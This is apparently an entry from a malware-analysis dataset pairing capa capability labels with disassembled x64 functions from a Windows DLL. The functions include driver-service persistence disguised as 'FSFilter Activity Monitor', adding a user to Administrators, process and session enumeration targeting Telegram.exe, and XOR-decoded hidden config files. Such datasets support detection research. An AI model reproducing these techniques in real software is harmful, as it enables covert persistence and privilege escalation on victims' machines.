joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d61c
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1a8]
sub rsp, 0x290
mov r15, qword [rcx]
xor edx, edx
and dword [rbp + 0x1b0], 0
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
call fcn.180003854
lea rdx, [0x180064794]
mov rsi, rax
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str._temp.key
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000d753
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x18000d6fc
test rbx, rbx
je 0x18000d6f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
jmp 0x18000d7f1
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x1b0]
mov r8d, r14d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea r8d, [r14 - 2]
lea rdx, [rdi + 2]
test r8d, r8d
je 0x18000d737
mov rax, rdx
mov ecx, r8d
xor byte [rax], 0x62
inc rax
sub rcx, 1
jne 0x18000d72b
mov rcx, rsi
call qword [rsi + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x18000d75c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov rcx, rsi
mov dword [rsp + 0x74], 0x2072024
mov dword [rsp + 0x64], 0xe000
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [rsi + 0x30]
and dword [rsp + 0x70], 0
mov dword [rsp + 0x68], eax
call fcn.180003854
mov r8d, gethostname
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r15
mov rdx, rax
call qword [r15 + 0x30]
mov rcx, rsi
call fcn.18000397c
mov rcx, rdi
call fcn.18000397c
lea r11, [rsp + 0x290]
xor eax, eax
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000d8e8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
test rax, rax
je 0x18000d9a8
mov ebp, 0x238
mov ecx, ebp
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x18000d99f
and dword [rsp + 0x38], 0
mov rdx, rax
mov rcx, rdi
mov dword [rax], ebp
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000d996
lea rbp, [rbx + 0x2c]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18000d986
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, 4
lea rdx, [rsp + 0x38]
mov rcx, rsi
lea eax, [rax*2 + 2]
mov dword [rsp + 0x38], eax
call qword [rsi + 0x28]
mov r8d, dword [rsp + 0x38]
mov rdx, rbp
mov rcx, rsi
call qword [rsi + 0x28]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000d953
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800109e8
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x490
mov ebx, 0x208
lea rcx, [rsp + 0x280]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, str.tpdrivers
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, ebx
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x70]
call fcn.180014afc
lea rdx, str._system32drivers_tpdrivers.sys
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x180010a6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180010b15
and qword [rsp + 0x60], 0
lea rax, str.FltMgr
and qword [rsp + 0x58], 0
lea r8, [rsp + 0x280]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x280]
and qword [rsp + 0x48], 0
lea rax, str.FSFilter_Activity_Monitor
mov qword [rsp + 0x40], rax
mov r9d, 0xf01ff
lea rax, [rsp + 0x70]
mov rcx, rbx
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x180010af3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180010a64
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x490
pop rdi
ret
Function at 0x180010ce4
Capabilities:
List user accounts

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
and qword [rbp - 0x10], 0
mov r15, rcx
and dword [rbp + 0x48], 0
and dword [rbp + 0x58], 0
and dword [rbp + 0x50], 0
and dword [rbp + 0x40], 0
call fcn.180003854
mov rsi, rax
mov r12d, 0xea
lea rax, [rbp + 0x50]
xor edx, edx
mov qword [rsp + 0x38], rax
lea r9, [rbp - 0x10]
lea rax, [rbp + 0x58]
xor ecx, ecx
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 2]
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.NETAPI32.dll_NetUserEnum]
mov edi, eax
test eax, eax
je 0x180010d59
cmp eax, r12d
jne 0x180010db5
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x180010dc9
mov eax, dword [rbp + 0x48]
test eax, eax
je 0x180010db9
xor r14d, r14d
test eax, eax
je 0x180010db9
mov rcx, qword [rcx + r14*8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x40]
mov rcx, rsi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x40], eax
call qword [rsi + 0x28]
mov rdx, qword [rbp - 0x10]
mov rcx, rsi
mov r8d, dword [rbp + 0x40]
mov rdx, qword [rdx + r14*8]
call qword [rsi + 0x28]
inc r14d
cmp r14d, dword [rbp + 0x48]
jae 0x180010db5
mov rcx, qword [rbp - 0x10]
jmp 0x180010d70
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x180010dc9
call qword [sym.imp.NETAPI32.dll_NetApiBufferFree]
and qword [rbp - 0x10], 0
cmp edi, r12d
je 0x180010d1c
mov ebx, gethostname
mov ecx, ebx
call qword [sym.imp.msvcrt.dll_malloc]
mov r14, rax
test rax, rax
je 0x180010e7c
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_memset]
mov rcx, rsi
mov dword [r14 + 0x34], 0x2072024
mov dword [r14 + 0x24], reloc.WS2_32.dll_select
call qword [rsi + 0x30]
mov dword [r14 + 0x28], eax
call fcn.180003854
mov r8d, ebx
mov rdx, r14
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov r12, qword [r15 + 0x30]
test r12, r12
je 0x180010e6b
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov rcx, qword [r15 + 0x30]
mov r8d, ebx
mov rdx, rax
call qword [r12 + gethostbyname]
mov rcx, rdi
call fcn.18000397c
mov rcx, r14
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rsi
call fcn.18000397c
xor eax, eax
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x180010fe4
Capabilities:
Add user account
Add user account to group

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov r14, rdx
mov rbx, rcx
call qword [rcx + 0x30]
mov r8d, gethostname
cmp eax, r8d
jb 0x180011156
xorps xmm0, xmm0
lea rdx, [rbp - 9]
xor eax, eax
mov rcx, rbx
movups xmmword [rbp - 9], xmm0
mov qword [rbp + 0x27], rax
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, 8
jb 0x180011156
and dword [rbp + 0x77], 0
lea rdx, [rbp + 0x77]
and dword [rbp + 0x67], 0
mov edi, 4
mov r8d, edi
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, edi
lea rdx, [rbp + 0x67]
mov rcx, rbx
call qword [rbx + 0x20]
cmp dword [rbp + 0x67], 0
jbe 0x180011156
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x180011156
mov ecx, eax
call qword [sym.imp.msvcrt.dll_malloc]
mov ecx, dword [rbp + 0x67]
mov rsi, rax
call qword [sym.imp.msvcrt.dll_malloc]
mov rdi, rax
test rsi, rsi
je 0x180011156
test rax, rax
je 0x180011156
mov rcx, rbx
call qword [rbx + 0x30]
mov edx, dword [rbp + 0x67]
mov r8d, dword [rbp + 0x77]
add edx, r8d
cmp eax, edx
jb 0x180011156
mov rdx, rsi
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, dword [rbp + 0x67]
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call fcn.18000397c
and dword [rbp + 0x7f], 0
lea r9, [rbp + 0x7f]
and qword [rbp - 0x11], 0
lea r8, [rbp - 0x41]
mov ebx, 1
mov qword [rbp - 0x41], rsi
xorps xmm0, xmm0
mov qword [rbp - 0x39], rdi
mov edx, ebx
mov dword [rbp - 0x2d], ebx
xor ecx, ecx
mov dword [rbp - 0x19], ebx
movdqu xmmword [rbp - 0x29], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
lea ecx, [rbx + 0x63]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x49]
mov qword [rbp - 0x49], rsi
lea r8d, [rbx + 2]
mov dword [rsp + 0x20], ebx
lea rdx, str.Administrators
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov rcx, r14
mov ebx, eax
call fcn.180010ce4
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov eax, ebx
jmp 0x180011160
mov rcx, rbx
call fcn.18000397c
xor eax, eax
add rsp, 0xb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800147c4
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xf0
mov rdi, rcx
mov qword [0x1800649d0], rcx
mov rdx, rcx
mov ebp, 4
mov r8d, ebp
lea rcx, [0x180064a10]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180064a10]
mov esi, 0x3000
mov r8d, esi
mov r9d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
mov qword [0x180064a00], rax
test rax, rax
je 0x18001498a
mov r8d, dword [0x180064a10]
lea rdx, [rdi + 4]
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180064a10]
lea rcx, [0x180064a40]
add rdx, rbp
mov r8d, ebp
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [0x180064a40]
test eax, eax
je 0x18001498a
mov edx, eax
mov r9d, ebp
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x180064a20], rax
mov rcx, rax
test rax, rax
je 0x18001498a
mov edx, dword [0x180064a10]
mov r8d, dword [0x180064a40]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180064a40]
lea rsi, [0x180063f30]
mov ecx, dword [0x180064a10]
add rdx, rdi
add rcx, 0xc
mov r8d, 0xa88
add rdx, rcx
mov dword [0x180064a3c], r8d
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
movsxd rax, dword [0x180064a3c]
test rax, rax
jle 0x1800148ee
xor byte [rbx + rsi], 0x3a
inc rbx
cmp rbx, rax
jl 0x1800148e2
mov esi, 0xc8
lea rcx, [rsp + 0x20]
mov r8d, esi
xor edx, edx
call sub.ntdll.dll_memset
lea rbx, [0x180064794]
mov rcx, rbx
lea r8d, [rsi - 0x64]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memset]
mov r8d, esi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [0x180064a3c]
mov r8, rbp
mov edx, dword [0x180064a40]
mov eax, dword [0x180064a10]
add rdx, rdi
add rdx, rcx
add rax, 0xc
add rdx, rax
lea rcx, [0x180064a38]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180064a3c]
add edx, dword [0x180064a40]
mov ecx, dword [0x180064a10]
add ecx, 0x10
add ecx, edx
mov dword [0x1800649d8], ecx
xor eax, eax
jmp 0x18001498d
or eax, 0xffffffff
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800149a8
Capabilities:
Delete file
Encode data using xor
Set file attributes

Disassembly:
push rbx
sub rsp, 0x230
mov r8d, 0xa88
lea rcx, [0x180063f30]
mov rbx, rdx
call qword [sym.imp.ntdll.dll_memcpy]
mov rax, rbx
mov ecx, 0xa88
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x1800149cf
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, str.install.cfg
lea r8, [0x180064794]
lea rdx, str._s_s
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 2
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8d, 0xa88
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.180014a58
mov edx, 7
lea rcx, [rsp + 0x20]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, ebx
add rsp, 0x230
pop rbx
ret

Function at 0x180014a58
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov edi, r8d
and dword [rax - 0x20], 0
mov rsi, rdx
and dword [rax + 0x20], 0
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x28], 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180014aa4
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180014aec
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180014adc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test rbx, rbx
je 0x180014ad8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x180014aec
test rbx, rbx
je 0x180014aea
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180014afc
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
mov rax, rdx
test rdx, rdx
je 0x180014b25
mov edx, 0x64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x180014b25
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180014b2c
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x30]
call qword [sym.imp.ntdll.dll_memset]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rsp + 0x20], 9
mov eax, 0x40
je 0x180014b65
cmp word [rsp + 0x20], 6
lea ecx, [rax - 0x20]
cmovne eax, ecx
add rsp, 0x58
ret
Function at 0x180015300
Capabilities:
Get session information
Get session user name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
and qword [rbp - 8], 0
lea rax, [rbp + 0x40]
and qword [rbp - 0x10], 0
lea r9, [rbp - 8]
and dword [rbp + 0x48], 0
xor esi, esi
and dword [rbp + 0x40], 0
mov rdi, rcx
and dword [rbp + 0x38], esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
test eax, eax
je 0x18001543b
xor ebx, ebx
cmp dword [rbp + 0x40], ebx
jbe 0x18001542f
mov rdx, qword [rbp - 8]
lea rax, [rbp + 0x48]
lea r14, [rbx + rbx*2]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x10]
mov r8d, 5
xor ecx, ecx
mov edx, dword [rdx + r14*8]
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x180015424
mov rcx, qword [rbp - 0x10]
lea rdx, [0x18005b50c]
call qword [sym.imp.ntdll.dll_wcscmp]
test eax, eax
je 0x1800153c4
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x38]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x38], eax
call qword [rdi + 0x28]
mov rdx, qword [rbp - 0x10]
jmp 0x1800153f2
lea rcx, str.system
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x38]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x38], eax
call qword [rdi + 0x28]
lea rdx, str.system
mov r8d, dword [rbp + 0x38]
mov rcx, rdi
call qword [rdi + 0x28]
mov rax, qword [rbp - 8]
mov r8d, 4
add esi, dword [rbp + 0x38]
mov rcx, rdi
and dword [rbp + 0x38], 0
lea rdx, [rax + r14*8]
call qword [rdi + 0x28]
mov rcx, qword [rbp - 0x10]
add esi, 8
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
inc ebx
cmp ebx, dword [rbp + 0x40]
jb 0x180015356
mov rcx, qword [rbp - 8]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, esi
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x1800155d8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rdx
mov edi, ecx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x238
call qword [sym.imp.ntdll.dll_memset]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001566a
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x180015642
cmp dword [rsp + 0x28], edi
je 0x180015648
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001562e
jmp 0x18001565c
mov r8d, 0x208
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
test rbx, rbx
je 0x18001566a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180015684
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800156ba
xor eax, eax
jmp 0x180015733
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebp, 0x238
mov edx, 8
mov rcx, rax
mov r8d, ebp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180015728
mov rdx, rax
mov dword [rax], ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18001570b
lea rdx, [rdi + 0x2c]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180015711
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800156ee
jmp 0x180015714
mov ebx, dword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180015750
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180015786
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18001581c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x1800157b3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001577b
mov rdx, rdi
mov dword [rax], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1800157f4
lea rdx, [rdi + 0x2c]
lea rcx, str.Telegram.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1800157e8
mov r8d, 0x238
mov rdx, rdi
mov rcx, rsi
call qword [rsi + 0x28]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800157c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x18001581a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180015834
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov esi, edx
mov r14, rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebp, 0x238
mov rdi, rax
mov ecx, ebp
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1800158e0
mov rdx, rax
mov dword [rax], ebp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800158c9
lea rdx, [rbx + 0x2c]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x18001589d
cmp esi, dword [rbx + 0x20]
je 0x1800158ab
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180015883
mov esi, dword [rbx + 8]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
test rdi, rdi
je 0x1800158c5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x1800158e2
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
test rdi, rdi
je 0x1800158e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180015900
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edx, edx
mov esi, ecx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ecx, 0x238
mov rdi, rax
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x180015990
mov rdx, rax
mov dword [rax], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180015979
cmp dword [rbx + 8], esi
je 0x18001595b
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180015944
mov esi, dword [rbx + 0x20]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
test rdi, rdi
je 0x180015975
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x180015992
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
test rdi, rdi
je 0x180015990
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret